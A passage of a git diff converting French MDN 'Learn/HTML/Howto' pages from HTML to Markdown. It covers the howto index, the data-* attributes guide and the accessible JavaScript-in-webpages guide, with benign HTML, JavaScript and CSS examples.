compréhensibles](/fr/docs/Learn/HTML/Howto/Mark_abbreviations_and_make_them_understandable) +- [Comment ajouter des citations à une page web](/fr/docs/Learn/HTML/Howto/Add_citations_to_webpages) +- [Comment définir des termes en HTML](/fr/docs/Learn/HTML/Howto/Define_terms_with_HTML) -<p>Les {{Glossary("hyperlien", "hyperliens")}} rendent la navigation très simple sur le web, ils peuvent être utilisés de différentes façons :</p> +### Les hyperliens -<ul> - <li><a href="/fr/docs/Learn/HTML/Howto/Create_a_hyperlink">Comment créer un hyperlien</a></li> - <li><a href="/fr/docs/Learn/HTML/Howto/Create_list_of_items_with_HTML">Comment créer une table des matières en HTML</a></li> -</ul> +Les {{Glossary("hyperlien", "hyperliens")}} rendent la navigation très simple sur le web, ils peuvent être utilisés de différentes façons : -<h3 id="Images_et_multimédia">Images et multimédia</h3> +- [Comment créer un hyperlien](/fr/docs/Learn/HTML/Howto/Create_a_hyperlink) +- [Comment créer une table des matières en HTML](/fr/docs/Learn/HTML/Howto/Create_list_of_items_with_HTML) -<ul> - <li><a href="/fr/docs/Learn/HTML/Howto/Add_images_to_a_webpage">Comment ajouter des images à une page web</a></li> - <li><a href="/fr/docs/Learn/HTML/Howto/Add_audio_or_video_content_to_a_webpage">Comment ajouter une vidéo à une page web</a></li> - <li><a href="/fr/docs/Learn/HTML/Howto/Add_audio_or_video_content_to_a_webpage">Comment ajouter un contenu audio à une page web</a></li> -</ul> +### Images et multimédia -<h3 id="Script_et_mise_en_forme">Script et mise en forme</h3> +- [Comment ajouter des images à une page web](/fr/docs/Learn/HTML/Howto/Add_images_to_a_webpage) +- [Comment ajouter une vidéo à une page web](/fr/docs/Learn/HTML/Howto/Add_audio_or_video_content_to_a_webpage) +- [Comment ajouter un contenu audio à une page web](/fr/docs/Learn/HTML/Howto/Add_audio_or_video_content_to_a_webpage) -<p>HTML ne permet que de gérer la structure et le contenu d'un document. Pour régler les aspects de styles, on utilisera du {{glossary("CSS")}}, pour l'aspect interactif et script, on utilisera {{glossary("JavaScript")}}.</p> +### Script et mise en forme -<ul> - <li><a href="/fr/docs/Learn/HTML/Howto/Use_CSS_within_a_webpage">Comment utiliser CSS dans une page web</a></li> - <li><a href="/fr/docs/Learn/HTML/Howto/Use_JavaScript_within_a_webpage">Comment utiliser JavaScript dans une page web</a></li> -</ul> +HTML ne permet que de gérer la structure et le contenu d'un document. Pour régler les aspects de styles, on utilisera du {{glossary("CSS")}}, pour l'aspect interactif et script, on utilisera {{glossary("JavaScript")}}. -<h3 id="Intégrer_du_contenu">Intégrer du contenu</h3> +- [Comment utiliser CSS dans une page web](/fr/docs/Learn/HTML/Howto/Use_CSS_within_a_webpage) +- [Comment utiliser JavaScript dans une page web](/fr/docs/Learn/HTML/Howto/Use_JavaScript_within_a_webpage) -<ul> - <li><a href="/fr/docs/Learn/HTML/Howto/Embed_a_webpage_within_another_webpage">Comment intégrer une page web dans une autre page web</a></li> - <li><a href="/fr/docs/Learn/HTML/Howto/Add_Flash_content_within_a_webpage">Comment ajouter du contenu Flash dans une page web</a></li> -</ul> +### Intégrer du contenu -<h2 id="Problèmes_avancés_ou_rares">Problèmes avancés ou rares</h2> +- [Comment intégrer une page web dans une autre page web](/fr/docs/Learn/HTML/Howto/Embed_a_webpage_within_another_webpage) +- [Comment ajouter du contenu Flash dans une page web](/fr/docs/Learn/HTML/Howto/Add_Flash_content_within_a_webpage) -<p>Au-delà des briques de bases qu'on peut assembler dans les exemples précédents, HTML reste très riche et offre des fonctionnalités avancées qui permettent de résoudre de nombreux problèmes complexes. Ces articles décrivent certains de ces problèmes, moins fréquents, et expliquent comment les résoudre :</p> +## Problèmes avancés ou rares -<h3 id="Les_formulaires">Les formulaires</h3> +Au-delà des briques de bases qu'on peut assembler dans les exemples précédents, HTML reste très riche et offre des fonctionnalités avancées qui permettent de résoudre de nombreux problèmes complexes. Ces articles décrivent certains de ces problèmes, moins fréquents, et expliquent comment les résoudre : -<p>Les formulaires correspondent à une structure HTML complexe qui permet d'envoyer des données d'une page web vers un serveur web. Nous vous invitons à suivre <a href="/fr/docs/Web/Guide/HTML/Formulaires">le guide dédié aux formulaires</a>. Vous pouvez commencer ici :</p> +### Les formulaires -<ul> - <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Mon_premier_formulaire_HTML">Comment créer un formulaire web simple</a></li> - <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Comment_structurer_un_formulaire_HTML">Comment organiser un formulaire web</a></li> -</ul> +Les formulaires correspondent à une structure HTML complexe qui permet d'envoyer des données d'une page web vers un serveur web. Nous vous invitons à suivre [le guide dédié aux formulaires](/fr/docs/Web/Guide/HTML/Formulaires). Vous pouvez commencer ici : -<h3 id="Les_informations_tabulaires">Les informations tabulaires</h3> +- [Comment créer un formulaire web simple](/fr/docs/Web/Guide/HTML/Formulaires/Mon_premier_formulaire_HTML) +- [Comment organiser un formulaire web](/fr/docs/Web/Guide/HTML/Formulaires/Comment_structurer_un_formulaire_HTML) -<p>Certaines informations doivent être organisées en tableaux, sur des colonnes et des lignes. Les tableaux sont une des structures HTML les plus complexes et s'avèrent particulièrement difficiles à maîtriser de A à Z :</p> +### Les informations tabulaires -<ul> - <li><a href="/fr/docs/Learn/HTML/Howto/Create_a_data_spreadsheet">Comment créer un tableur où saisir de sdonnées</a></li> - <li><a href="/fr/docs/Learn/HTML/Howto/Make_HTML_tables_accessible">Comment rendre accessibles les tableaux HTML</a></li> - <li><a href="/fr/docs/Learn/HTML/Howto/Optimize_HTML_table_rendering">Comment optimiser le rendu d'un tableau HTML</a></li> -</ul> +Certaines informations doivent être organisées en tableaux, sur des colonnes et des lignes. Les tableaux sont une des structures HTML les plus complexes et s'avèrent particulièrement difficiles à maîtriser de A à Z : -<h3 id="La_représentation_de_données">La représentation de données</h3> +- [Comment créer un tableur où saisir de sdonnées](/fr/docs/Learn/HTML/Howto/Create_a_data_spreadsheet) +- [Comment rendre accessibles les tableaux HTML](/fr/docs/Learn/HTML/Howto/Make_HTML_tables_accessible) +- [Comment optimiser le rendu d'un tableau HTML](/fr/docs/Learn/HTML/Howto/Optimize_HTML_table_rendering) -<ul> - <li><a href="/fr/docs/Learn/HTMLHowto/Represent_numeric_values_with_HTML">Comment représenter des valeurs numériques en HTML</a></li> - <li><a href="/fr/docs/Learn/HTML/Howto/Associate_human_readable_content_with_arbitrary_computer_data_structures">Comment associer du contenu lisible avec des structures de données informatiques arbitraires</a></li> -</ul> +### La représentation de données -<h3 id="Interactivité">Interactivité</h3> +- [Comment représenter des valeurs numériques en HTML](/fr/docs/Learn/HTMLHowto/Represent_numeric_values_with_HTML) +- [Comment associer du contenu lisible avec des structures de données informatiques arbitraires](/fr/docs/Learn/HTML/Howto/Associate_human_readable_content_with_arbitrary_computer_data_structures) -<ul> - <li><a href="/fr/docs/Learn/HTML/Howto/Create_collapsible_content_with_HTML">Comment créer du contenu dépliable/repliable avec HTML</a></li> - <li><a href="/fr/docs/Learn/HTML/Howto/Add_context_menus_to_a_webpage">Comment ajouter des menus contextuels à une page web</a></li> - <li><a href="/fr/docs/Learn/HTML/Howto/Create_dialog_boxes_with_HTML">Comment créer des boîtes de dialogue avec HTML</a></li> -</ul> +### Interactivité -<h3 id="Sémantique_avancée_pour_les_éléments_textuels">Sémantique avancée pour les éléments textuels</h3> +- [Comment créer du contenu dépliable/repliable avec HTML](/fr/docs/Learn/HTML/Howto/Create_collapsible_content_with_HTML) +- [Comment ajouter des menus contextuels à une page web](/fr/docs/Learn/HTML/Howto/Add_context_menus_to_a_webpage) +- [Comment créer des boîtes de dialogue avec HTML](/fr/docs/Learn/HTML/Howto/Create_dialog_boxes_with_HTML) -<ul> - <li><a href="/fr/docs/Learn/HTML/Howto/Take_control_of_HTML_line_breaking">Comment contrôler le passage à la ligne en HTML</a></li> - <li><a href="/fr/docs/Learn/HTML/Howto/Mark_text_insertion_and_deletion">Comment restituer des changements (du texte ajouté/retiré)</a></li> -</ul> +### Sémantique avancée pour les éléments textuels -<h3 id="Images_et_multimédia_avancés">Images et multimédia avancés</h3> +- [Comment contrôler le passage à la ligne en HTML](/fr/docs/Learn/HTML/Howto/Take_control_of_HTML_line_breaking) +- [Comment restituer des changements (du texte ajouté/retiré)](/fr/docs/Learn/HTML/Howto/Mark_text_insertion_and_deletion) -<ul> - <li><a href="/fr/docs/Learn/HTML/Howto/Add_responsive_image_to_a_webpage">Comment ajouter une image adaptative (<em>responsive</em>) à une page web</a></li> - <li><a href="/fr/docs/Learn/HTML/Howto/Add_vector_image_to_a_webpage">Comment ajouter une image vectorielle à une page web</a></li> - <li><a href="/fr/docs/Learn/HTML/Howto/Add_a_hit_map_on_top_of_an_image">Comment ajouter une cartes de zones cliquables sur une image</a></li> - <li><a href="/fr/docs/Learn/HTML/Howto/Create_dynamic_and_interactive_images">Comment créer des images dynamiques et interactives</a></li> -</ul> +### Images et multimédia avancés -<h3 id="L'internationalisation">L'internationalisation</h3> +- [Comment ajouter une image adaptative (_responsive_) à une page web](/fr/docs/Learn/HTML/Howto/Add_responsive_image_to_a_webpage) +- [Comment ajouter une image vectorielle à une page web](/fr/docs/Learn/HTML/Howto/Add_vector_image_to_a_webpage) +- [Comment ajouter une cartes de zones cliquables sur une image](/fr/docs/Learn/HTML/Howto/Add_a_hit_map_on_top_of_an_image) +- [Comment créer des images dynamiques et interactives](/fr/docs/Learn/HTML/Howto/Create_dynamic_and_interactive_images) -<p>HTML n'est pas monolingue. Il existe des outils qui permettent de résoudre les problèmes fréquents qui se posent lorsqu'on internationalise du contenu.</p> +### L'internationalisation -<ul> - <li><a href="/fr/docs/Learn/HTML/Howto/Add_multiple_languages_into_a_single_webpage">Comment ajouter plusieurs langages sur une seule page web</a></li> - <li><a href="/fr/docs/Learn/HTML/Howto/Handle_Japanese_ruby_characters">Comment gérer les caractères japonais (ruby)</a></li> - <li><a href="/fr/docs/Learn/HTML/Howto/Display_time_and_date_with_HTML">Comment afficher des heures et des dates avec HTML</a></li> -</ul>
\ No newline at end of file +HTML n'est pas monolingue. Il existe des outils qui permettent de résoudre les problèmes fréquents qui se posent lorsqu'on internationalise du contenu. + +- [Comment ajouter plusieurs langages sur une seule page web](/fr/docs/Learn/HTML/Howto/Add_multiple_languages_into_a_single_webpage) +- [Comment gérer les caractères japonais (ruby)](/fr/docs/Learn/HTML/Howto/Handle_Japanese_ruby_characters) +- [Comment afficher des heures et des dates avec HTML](/fr/docs/Learn/HTML/Howto/Display_time_and_date_with_HTML) diff --git a/files/fr/learn/html/howto/use_data_attributes/index.md b/files/fr/learn/html/howto/use_data_attributes/index.md index f18055985b..e4658b76de 100644 --- a/files/fr/learn/html/howto/use_data_attributes/index.md +++ b/files/fr/learn/html/howto/use_data_attributes/index.md @@ -8,73 +8,79 @@ tags: translation_of: Learn/HTML/Howto/Use_data_attributes original_slug: Apprendre/HTML/Comment/Utiliser_attributs_donnes --- -<div>{{LearnSidebar}}</div> +{{LearnSidebar}} -<p><a href="/fr/docs/Web/Guide/HTML/HTML5">HTML5</a> est conçu avec le souci de l'extensibilité pour les données qui doivent être associées avec un élément particulier sans qu'on leur donne une signification spécifique. <a href="/fr/docs/Web/HTML/Attributs_universels#attr-data-*">Les attributs <code>data-*</code></a> nous permettent de stocker des informations supplémentaires sur les éléments sémantiques standard sans avoir recours à des attributs non-standard ni à des propriétés supplémentaires du DOM, ni à {{domxref("Node.setUserData()")}}.</p> +[HTML5](/fr/docs/Web/Guide/HTML/HTML5) est conçu avec le souci de l'extensibilité pour les données qui doivent être associées avec un élément particulier sans qu'on leur donne une signification spécifique. [Les attributs `data-*`](/fr/docs/Web/HTML/Attributs_universels#attr-data-*) nous permettent de stocker des informations supplémentaires sur les éléments sémantiques standard sans avoir recours à des attributs non-standard ni à des propriétés supplémentaires du DOM, ni à {{domxref("Node.setUserData()")}}. -<h2 id="Syntaxe_HTML">Syntaxe HTML</h2> +## Syntaxe HTML -<p>La syntaxe est simple. Tout attribut d'un élément dont le nom commence par <code>data-</code> est un attribut de données (<em>data attribute</em>). Si par exemple vous avez un article pour lequel vous souhaitez stocker des informations supplémentaires et qui n'ont pas de représentation visuelle, il vous suffit d'utiliser des attributs de données pour cela :</p> +La syntaxe est simple. Tout attribut d'un élément dont le nom commence par `data-` est un attribut de données (_data attribute_). Si par exemple vous avez un article pour lequel vous souhaitez stocker des informations supplémentaires et qui n'ont pas de représentation visuelle, il vous suffit d'utiliser des attributs de données pour cela : -<pre class="brush: html"><article +```html +<article id="voitureelectrique" data-columns="3" data-index-number="12314" - data-parent="voitures"> + data-parent="voitures"> ... -</article></pre> +</article> +``` -<h2 id="Accéder_via_du_code_JavaScript">Accéder via du code JavaScript</h2> +## Accéder via du code JavaScript -<p>Lire les valeurs de ces attributs avec du <a href="/fr/docs/Web/JavaScript">JavaScript</a> est également très simple. Vous pourriez utiliser {{domxref("Element.getAttribute", "getAttribute()")}} avec leur nom HTML complet pour les lire, mais le standard les définit d'une manière plus simple : un {{domxref("DOMStringMap")}} peut être lu via une propriété {{domxref("HTMLElement.dataset", "dataset")}}.</p> +Lire les valeurs de ces attributs avec du [JavaScript](/fr/docs/Web/JavaScript) est également très simple. Vous pourriez utiliser {{domxref("Element.getAttribute", "getAttribute()")}} avec leur nom HTML complet pour les lire, mais le standard les définit d'une manière plus simple : un {{domxref("DOMStringMap")}} peut être lu via une propriété {{domxref("HTMLElement.dataset", "dataset")}}. -<p>Pour obtenir un attribut <code>data</code> avec l'objet <code>dataset</code>, repérez la propriété avec la partie du nom de l'attribut qui suit le préfixe <code>data-</code> (notez que les tirets sont convertis en <em><a href="https://fr.wikipedia.org/wiki/CamelCase">camelCase</a></em>).</p> +Pour obtenir un attribut `data` avec l'objet `dataset`, repérez la propriété avec la partie du nom de l'attribut qui suit le préfixe `data-` (notez que les tirets sont convertis en _[camelCase](https://fr.wikipedia.org/wiki/CamelCase)_). -<pre class="brush: js">var article = document.getElementById('voitureelectrique'); +```js +var article = document.getElementById('voitureelectrique'); article.dataset.columns // "3" article.dataset.indexNumber // "12314" -article.dataset.parent // "voitures"</pre> +article.dataset.parent // "voitures" +``` -<p>Chaque propriété est une chaîne et peut être en lecture et écriture. Dans le cas ci-dessus passer le paramètre <code>article.dataset.columns = 5</code> mettrait l'attribut à <code>"5"</code>.</p> +Chaque propriété est une chaîne et peut être en lecture et écriture. Dans le cas ci-dessus passer le paramètre `article.dataset.columns = 5` mettrait l'attribut à `"5"`. -<h2 id="Accéder_via_du_code_CSS">Accéder via du code CSS</h2> +## Accéder via du code CSS -<p>Remarquez que, dans la mesure où les attributs data sont de simples attributs HTML, vous pouvez même y accéder par les <a href="/fr/docs/Web/CSS">CSS</a>. Par exemple, pour afficher les données associées à l'article, vous pouvez utiliser des <a href="/fr/docs/Web/CSS/content">contenus générés</a> en CSS avec la fonction {{cssxref("attr")}} :</p> +Remarquez que, dans la mesure où les attributs data sont de simples attributs HTML, vous pouvez même y accéder par les [CSS](/fr/docs/Web/CSS). Par exemple, pour afficher les données associées à l'article, vous pouvez utiliser des [contenus générés](/fr/docs/Web/CSS/content) en CSS avec la fonction {{cssxref("attr")}} : -<pre class="brush: css">article::before { +```css +article::before { content: attr(data-parent); -}</pre> +} +``` -<p>Vous pouvez également utiliser les <a href="/fr/docs/Web/CSS/Sélecteurs_d_attribut">sélecteurs d'attributs</a> en CSS pour modifier les styles en fonction des données :</p> +Vous pouvez également utiliser les [sélecteurs d'attributs](/fr/docs/Web/CSS/Sélecteurs_d_attribut) en CSS pour modifier les styles en fonction des données : -<pre class="brush: css">article[data-columns='3'] { +```css +article[data-columns='3'] { width: 400px; } article[data-columns='4'] { width: 600px; -}</pre> +} +``` -<p>Tout cela est visible dans l'exemple<a href="https://jsbin.com/ujiday/2/edit"> JSBin</a>. </p> +Tout cela est visible dans l'exemple[ JSBin](https://jsbin.com/ujiday/2/edit). -<p>Les attributs data peuvent aussi être stockés pour inclure des informations qui changent constamment, telles que les cores dans un jeu. L'utilisation des sélecteurs CSS et de l'accès par le JavaScript permettent ici de créer des effets sympas sans avoir à écrire vos propres routines d'affichage. Regardez cet exemple de <a href="https://www.youtube.com/watch?v=On_WyUB1gOk">capture vidéo d'écran</a> où sont utilisés les contenus générés et les transitions CSS (<a href="https://jsbin.com/atawaz/3/edit">exemple JSBin</a>).</p> +Les attributs data peuvent aussi être stockés pour inclure des informations qui changent constamment, telles que les cores dans un jeu. L'utilisation des sélecteurs CSS et de l'accès par le JavaScript permettent ici de créer des effets sympas sans avoir à écrire vos propres routines d'affichage. Regardez cet exemple de [capture vidéo d'écran](https://www.youtube.com/watch?v=On_WyUB1gOk) où sont utilisés les contenus générés et les transitions CSS ([exemple JSBin](https://jsbin.com/atawaz/3/edit)). -<p>Comme les valeurs des données sont des chaînes, toutes les valeurs doivent être entre guillemets " " sinon le formatage de style sera inopérant.</p> +Comme les valeurs des données sont des chaînes, toutes les valeurs doivent être entre guillemets " " sinon le formatage de style sera inopérant. -<h2 id="Problèmes">Problèmes</h2> +## Problèmes -<p>Ne stockez pas de contenu qui devrait être visible dans les attributs data, car les technologies d'assistance pourraient ne pas y avoir accès. De plus, les moteurs de recherche pourraient ne pas indexer les valeurs des attributs de données. </p> +Ne stockez pas de contenu qui devrait être visible dans les attributs data, car les technologies d'assistance pourraient ne pas y avoir accès. De plus, les moteurs de recherche pourraient ne pas indexer les valeurs des attributs de données. -<p>Les principaux problèmes à prendre en considération sont le support d'Internet Explorer et la performance. Internet Explorer 11+ prend en charge le standard, mais toutes les versions antérieures <a href="https://caniuse.com/#feat=dataset">ne prennent pas en charge le <code>dataset</code></a>. Pour prendre en charge IE 10 et versions inférieures vous avez besoin d'accéder aux attributs data avec {{domxref("Element.getAttribute", "getAttribute()")}}. De plus, la <a href="https://jsperf.com/data-dataset">la performance de lecture des attributs de données</a>, au stockage dans des structures de données JavaScript est assez faible. Utiliser un <code>dataset</code> est même plus lent que lire les données avec <code>getAttribute()</code>.</p> +Les principaux problèmes à prendre en considération sont le support d'Internet Explorer et la performance. Internet Explorer 11+ prend en charge le standard, mais toutes les versions antérieures [ne prennent pas en charge le `dataset`](https://caniuse.com/#feat=dataset). Pour prendre en charge IE 10 et versions inférieures vous avez besoin d'accéder aux attributs data avec {{domxref("Element.getAttribute", "getAttribute()")}}. De plus, la [la performance de lecture des attributs de données](https://jsperf.com/data-dataset), au stockage dans des structures de données JavaScript est assez faible. Utiliser un `dataset` est même plus lent que lire les données avec `getAttribute()`. -<p>Mais ceci dit, pour les métadonnées personnalisées associées aux éléments, c'est une excellente solution.</p> +Mais ceci dit, pour les métadonnées personnalisées associées aux éléments, c'est une excellente solution. -<p>Avec Firefox 49.0.2 (et peut-être dans les versions antérieures ou ultérieures), les attributs data qui dépassent 1022 attributs ne seront pas lisibles par Javascript (EcmaScript 4).</p> +Avec Firefox 49.0.2 (et peut-être dans les versions antérieures ou ultérieures), les attributs data qui dépassent 1022 attributs ne seront pas lisibles par Javascript (EcmaScript 4). -<h2 id="Voir_aussi">Voir aussi</h2> +## Voir aussi -<ul> - <li>Cet article est une adaptation de <a href="https://hacks.mozilla.org/2012/10/using-data-attributes-in-javascript-and-css/">« Utiliser les attributs de données en JavaScript et CSS »</a> publié sur hacks.mozilla.org (en anglais).</li> - <li>Les attributs personnalisés sont également pris en charge en SVG 2 ; consultez {{domxref("SVGElement.dataset")}} et {{SVGAttr("data-*")}} pour davantage d'informations.</li> - <li><em><a href="https://www.sitepoint.com/use-html5-data-attributes/">How to use HTML5 data attributes</a></em> (Sitepoint) (en anglais)</li> -</ul> +- Cet article est une adaptation de [« Utiliser les attributs de données en JavaScript et CSS »](https://hacks.mozilla.org/2012/10/using-data-attributes-in-javascript-and-css/) publié sur hacks.mozilla.org (en anglais). +- Les attributs personnalisés sont également pris en charge en SVG 2 ; consultez {{domxref("SVGElement.dataset")}} et {{SVGAttr("data-*")}} pour davantage d'informations. +- _[How to use HTML5 data attributes](https://www.sitepoint.com/use-html5-data-attributes/)_ (Sitepoint) (en anglais) diff --git a/files/fr/learn/html/howto/use_javascript_within_a_webpage/index.md b/files/fr/learn/html/howto/use_javascript_within_a_webpage/index.md index e57980829e..5c11395239 100644 --- a/files/fr/learn/html/howto/use_javascript_within_a_webpage/index.md +++ b/files/fr/learn/html/howto/use_javascript_within_a_webpage/index.md @@ -9,90 +9,90 @@ tags: translation_of: Learn/HTML/Howto/Use_JavaScript_within_a_webpage original_slug: Apprendre/HTML/Comment/Utiliser_JavaScript_au_sein_d_une_page_web --- -<p>Dans cet article, nous verrons comment améliorer les pages web en ajoutant du code JavaScript dans des documents HTML.</p> +Dans cet article, nous verrons comment améliorer les pages web en ajoutant du code JavaScript dans des documents HTML. <table class="standard-table"> - <tbody> - <tr> - <th scope="row">Prérequis :</th> - <td>Vous devriez au préalable savoir comment <a href="/fr/Learn/HTML/Write_a_simple_page_in_HTML">créer un document HTML simple</a>.</td> - </tr> - <tr> - <th scope="row">Objectifs :</th> - <td>Savoir comment utiliser du code JavaScript dans un fichier HTML et apprendre les bonnes pratiques afin que le code JavaScript utilisé soit accessible.</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Prérequis :</th> + <td> + Vous devriez au préalable savoir comment + <a href="/fr/Learn/HTML/Write_a_simple_page_in_HTML" + >créer un document HTML simple</a + >. + </td> + </tr> + <tr> + <th scope="row">Objectifs :</th> + <td> + Savoir comment utiliser du code JavaScript dans un fichier HTML et + apprendre les bonnes pratiques afin que le code JavaScript utilisé soit + accessible. + </td> + </tr> + </tbody> </table> -<h2 id="À_propos_de_JavaScript">À propos de JavaScript</h2> +## À propos de JavaScript -<p>{{Glossary("JavaScript")}} est un langage de programmation principalement utilisé côté client et qui peut également être utilisé côté serveur. Il permet entre autres de rendre les pages web interactives. JavaScript offre une myriade de possibilités.</p> +{{Glossary("JavaScript")}} est un langage de programmation principalement utilisé côté client et qui peut également être utilisé côté serveur. Il permet entre autres de rendre les pages web interactives. JavaScript offre une myriade de possibilités. -<div class="note"> -<p><strong>Note :</strong> Dans cet article, nous verrons le code HTML nécessaire pour utiliser du code JavaScript. Si vous souhaitez apprendre JavaScript, vous pouvez démarrer par notre article sur <a href="/fr/Learn/Getting_started_with_the_web/JavaScript_basics">les bases de JavaScript</a>. Si vous connaissez déjà JavaScript en partie ou que vous connaissez un autre langage de programmation, vous pouvez consulter <a href="/fr/docs/Web/JavaScript/Guide">le Guide JavaScript</a>.</p> -</div> +> **Note :** Dans cet article, nous verrons le code HTML nécessaire pour utiliser du code JavaScript. Si vous souhaitez apprendre JavaScript, vous pouvez démarrer par notre article sur [les bases de JavaScript](/fr/Learn/Getting_started_with_the_web/JavaScript_basics). Si vous connaissez déjà JavaScript en partie ou que vous connaissez un autre langage de programmation, vous pouvez consulter [le Guide JavaScript](/fr/docs/Web/JavaScript/Guide). -<h2 id="Comment_déclencher_le_code_JavaScript_depuis_le_document_HTML">Comment déclencher le code JavaScript depuis le document HTML</h2> +## Comment déclencher le code JavaScript depuis le document HTML -<p>Dans un navigateur, JavaScript ne fait rien « tout seul ». Il a besoin d'être lancé depuis les pages web HTML. Pour appeler du code JavaScript depuis votre document HTML, vous aurez besoin de l'élément {{htmlelement("script")}}. Il y a deux méthodes pour utiliser <code>script</code> : une qui sert lorsqu'on souhaite utiliser un script contenu dans un fichier tiers et une qui sert lorsqu'on intègre directement le code du script dans la page web.</p> +Dans un navigateur, JavaScript ne fait rien « tout seul ». Il a besoin d'être lancé depuis les pages web HTML. Pour appeler du code JavaScript depuis votre document HTML, vous aurez besoin de l'élément {{htmlelement("script")}}. Il y a deux méthodes pour utiliser `script` : une qui sert lorsqu'on souhaite utiliser un script contenu dans un fichier tiers et une qui sert lorsqu'on intègre directement le code du script dans la page web. -<h3 id="Faire_référence_à_un_script_externe">Faire référence à un script externe</h3> +### Faire référence à un script externe -<p>Généralement, un script est écrit dans un fichier <code>.js</code> à part. Pour exécuter un script depuis un fichier dans la page web, il suffira d'utiliser {{HTMLElement ('script')}} avec un attribut <code>src</code> pointant vers le fichier du script en utilisant l'URL du fichier :</p> +Généralement, un script est écrit dans un fichier `.js` à part. Pour exécuter un script depuis un fichier dans la page web, il suffira d'utiliser {{HTMLElement ('script')}} avec un attribut `src` pointant vers le fichier du script en utilisant l'URL du fichier : -<pre class="brush: html"><script src="chemin/vers/le/script.js"></script></pre> +```html +<script src="chemin/vers/le/script.js"></script> +``` -<h3 id="Inscrire_le_code_JavaScript_dans_le_document_HTML">Inscrire le code JavaScript dans le document HTML</h3> +### Inscrire le code JavaScript dans le document HTML -<p>Il est également possible d'insérer du code JavaScript directement dans la balise <code><script></code> sans fournir d'attribut <code>src</code>.</p> +Il est également possible d'insérer du code JavaScript directement dans la balise `<script>` sans fournir d'attribut `src`. -<pre class="brush: html"><script> +```html +<script> window.addEventListener('load', function () { console.log('Cette fonction est exécutée une fois quand la page est chargée.'); }); -</script></pre> - -<p>Cette méthode peut s'avérer pratique quand on n'utilise qu'un code très court. Cela dit, utiliser des fichiers séparés pour stocker le code JavaScript vous permettra :</p> - -<ul> - <li>de rester concentré-e sur le contenu en cours</li> - <li>d'écrire du HTML qui se suffit à lui-même</li> - <li>d'écrire des applications JavaScript structurées</li> -</ul> - -<h2 id="Utiliser_les_scripts_de_façon_accessible">Utiliser les scripts de façon accessible</h2> - -<p>L'accessibilité est un enjeu majeur du développement logiciel. JavaScript peut rendre un site web plus accessible lorsqu'il est utilisé correctement. Il peut aussi détruire toute trace d'accessibilité s'il est utilisé sans aucune considération. Voici quelques pratiques qui vous permettront de tirer le meilleur parti de JavaScript pour l'accessibilité :</p> - -<ul> - <li><strong>Tout le contenu d'un document doit être disponible sous forme de texte (structuré).</strong> HTML doit être utilisé le plus possible pour stocker le contenu. Par exemple, si vous avez implémenté une super barre de chargement, n'oubliez pas de fournir les pourcentages en texte dans le HTML. De la même façon, les menus déroulants doivent être structurées en <a href="/fr/Learn/HTML/Howto/Create_list_of_items_with_HTML">listes non ordonnées</a> de <a href="/fr/Learn/HTML/Howto/Create_a_hyperlink">liens</a>.</li> - <li><strong>Toutes les fonctionnalités doivent être accessibles depuis le clavier.</strong> - <ul> - <li>Les utilisateurs doivent pouvoir utiliser la touche de tabulation pour naviguer entre les différents contrôles (les liens, les entrées de formulaires, etc.) en suivant un ordre logique.</li> - <li>Si vous utilisez les événements liés au pointage (les événéments liés à la souris ou au toucher), les fonctionnalités offertes doivent également être accessibles via le clavier.</li> - <li>Testez votre site en utilisant uniquement le clavier.</li> - </ul> - </li> - <li><strong>N'utilisez pas de limites de temps arbitraires.</strong> Cela prend plus de temps de naviguer au clavier ou d'écouter le contenu lu par un lecteur d'écran. Il est donc impossible de prévoir combien de temps cela prendra pour qu'un utilisateur ou pour que le navigateur accomplisse une tâche donnée.</li> - <li><strong>Les animations doivent être courtes et légères, sans clignotement.</strong> Les clignotements peuvent agacer, ou pire, <a href="http://www.w3.org/TR/UNDERSTANDING-WCAG20/seizure-does-not-violate.html">entraîner des crises d'épilepsie</a>. Si une animation dure plus longtemps que quelques secondes, il faudra fournir une méthode pour l'annuler.</li> - <li><strong>Laissez les utilisateurs initier les interactions.</strong> Cela signifie qu'il ne faut pas mettre à jour du contenu, rediriger vers un autre document ou rafraîchir la page automatiquement. Il ne faut pas utiliser de caroussels ou afficher des pop-ups sans aucun avertissement.</li> - <li><strong>Ayez un plan de secours pour les utilisateurs qui n'ont pas JavaScript activé.</strong> Certaines personnes désactivent JavaScript afin d'améliorer les performances ou la sécurité. D'autres peuvent rencontrer des problèmes de connectivité qui empêcheraient le chargement des scripts. De plus, certains scripts tiers (publicités, scripts de tracking, extensions de navigateurs) peuvent casser les scripts que vous avez écrit. - <ul> - <li><em>A minima</em>, laissez un court message grâce à la balise {{HTMLElement("noscript")}} : <code><noscript>Pour utiliser ce site, merci d'activer JavaScript.</noscript></code></li> - <li>Idéalement, lorsque c'est possible, dupliquez les fonctionnalités offertes par JavaScript via le HTML et des scripts exécutés côté serveur.</li> - <li>Si vous souhaitez mettre en place des effets visuels, CSS vous permettra d'y parvenir plus intuitivement.</li> - <li> - <p><em>Puisque tout le monde, ou presque, a JavaScript activé, <code><noscript></code> ne représente donc pas une excuse pour écrire des scripts inaccessibles.</em></p> - </li> - </ul> - </li> -</ul> - -<h2 id="En_savoir_plus">En savoir plus</h2> - -<ul> - <li>{{htmlelement("script")}}</li> - <li>{{htmlelement("noscript")}}</li> - <li><a href="http://www.sitepoint.com/javascript-accessibility-101/">Une introduction pour utiliser JavaScript de façon accessible, par James Edwards (en anglais)</a></li> - <li><a href="http://www.w3.org/TR/WCAG20/">Les consignes d'accessibilité préconisées par le W3C</a></li> -</ul> +</script> +``` + +Cette méthode peut s'avérer pratique quand on n'utilise qu'un code très court. Cela dit, utiliser des fichiers séparés pour stocker le code JavaScript vous permettra : + +- de rester concentré-e sur le contenu en cours +- d'écrire du HTML qui se suffit à lui-même +- d'écrire des applications JavaScript structurées + +## Utiliser les scripts de façon accessible + +L'accessibilité est un enjeu majeur du développement logiciel. JavaScript peut rendre un site web plus accessible lorsqu'il est utilisé correctement. Il peut aussi détruire toute trace d'accessibilité s'il est utilisé sans aucune considération. Voici quelques pratiques qui vous permettront de tirer le meilleur parti de JavaScript pour l'accessibilité : + +- **Tout le contenu d'un document doit être disponible sous forme de texte (structuré).** HTML doit être utilisé le plus possible pour stocker le contenu. Par exemple, si vous avez implémenté une super barre de chargement, n'oubliez pas de fournir les pourcentages en texte dans le HTML. De la même façon, les menus déroulants doivent être structurées en [listes non ordonnées](/fr/Learn/HTML/Howto/Create_list_of_items_with_HTML) de [liens](/fr/Learn/HTML/Howto/Create_a_hyperlink). +- **Toutes les fonctionnalités doivent être 